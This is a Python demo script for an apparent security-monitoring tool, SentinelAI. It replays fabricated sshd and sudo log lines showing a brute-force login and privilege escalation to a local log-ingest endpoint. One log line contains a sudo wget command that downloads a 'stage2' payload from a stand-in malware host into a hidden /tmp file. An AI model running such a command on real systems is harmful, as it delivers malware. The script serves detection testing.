Spaces:
Running
Running
File size: 1,750 Bytes
8b3905d | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | #!/usr/bin/env python3
"""Live demo: replay a realistic SSH → privilege escalation chain via /ingest-logs."""
from __future__ import annotations
import os
import sys
import time
import httpx
API = os.getenv("SENTINEL_API", "http://127.0.0.1:8000")
def main() -> None:
lines = [
"Jan 10 14:01:01 prod-bastion sshd[4411]: Failed password for invalid user admin from 203.0.113.77 port 22 ssh2",
"Jan 10 14:01:03 prod-bastion sshd[4412]: Failed password for invalid user admin from 203.0.113.77 port 22 ssh2",
"Jan 10 14:01:05 prod-bastion sshd[4413]: Failed password for invalid user admin from 203.0.113.77 port 22 ssh2",
"Jan 10 14:01:07 prod-bastion sshd[4414]: Failed password for invalid user admin from 203.0.113.77 port 22 ssh2",
"Jan 10 14:01:09 prod-bastion sshd[4415]: Failed password for invalid user admin from 203.0.113.77 port 22 ssh2",
"Jan 10 14:01:16 prod-bastion sshd[4416]: Accepted publickey for ubuntu from 203.0.113.77 port 22 ssh2",
"Jan 10 14:02:02 prod-bastion sudo: ubuntu : TTY=pts/2 ; USER=root ; COMMAND=/usr/bin/wget -q http://malware.test/stage2 -O /tmp/.fontd",
]
with httpx.Client(timeout=30.0) as client:
for raw in lines:
r = client.post(
f"{API.rstrip('/')}/ingest-logs",
json={"source": "demo_script", "raw_line": raw, "metadata": {"host": "prod-bastion"}},
)
print(r.status_code, r.text[:200])
time.sleep(0.15)
print("Demo chain submitted — watch the SentinelAI dashboard WebSocket feed.")
if __name__ == "__main__":
try:
main()
except httpx.HTTPError as e:
print("HTTP error:", e, file=sys.stderr)
sys.exit(1)
|